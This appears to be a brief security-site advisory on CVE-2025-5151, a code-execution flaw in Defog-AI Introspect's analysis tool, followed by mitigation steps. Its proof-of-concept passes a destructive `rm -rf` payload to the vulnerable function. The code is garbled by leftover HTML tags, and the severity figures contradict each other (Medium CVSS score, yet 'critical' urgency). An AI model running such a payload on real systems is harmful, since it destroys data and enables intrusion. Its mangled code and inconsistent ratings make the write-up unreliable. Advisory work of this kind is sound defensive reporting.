How CVE-2025-5151 Works
The vulnerability in Defog-AI Introspect (≤ v0.1.4) resides in the `execute_analysis_code_safely` function within analysis_tools.py. Attackers can exploit improper input sanitization of the `code` parameter, allowing arbitrary Python code execution. Since the function evaluates user-supplied code without proper sandboxing, malicious payloads bypass security checks. The local host attack vector (AV:L) enables privilege escalation or data leakage. Though Docker deployment mitigates risks, unpatched standalone instances remain critically exposed.

What Undercode Say:
Exploitation:
Proof-of-Concept (PoC)
malicious_code = """
<strong>import</strong>('os').system('rm -rf /critical/path')
"""
from introspect.backend.tools.analysis_tools import execute_analysis_code_safely
execute_analysis_code_safely(code=malicious_code)
Mitigation:
1. Immediate Workaround:
docker run --read-only -it defogai/introspect:0.1.4
2. Patch Validation:
Check patched version import introspect assert introspect.<strong>version</strong> > "0.1.4", "Vulnerable!"
3. Network Hardening:
Block lateral movement iptables -A OUTPUT -p tcp --dport 2375 -j DROP
Analytics:
- CVSS 4.0: 4.8 (Medium)
- Exploitability: High (Low complexity)
- Attack Surface: Local (L)
- Patch Urgency: Critical for non-Docker deployments
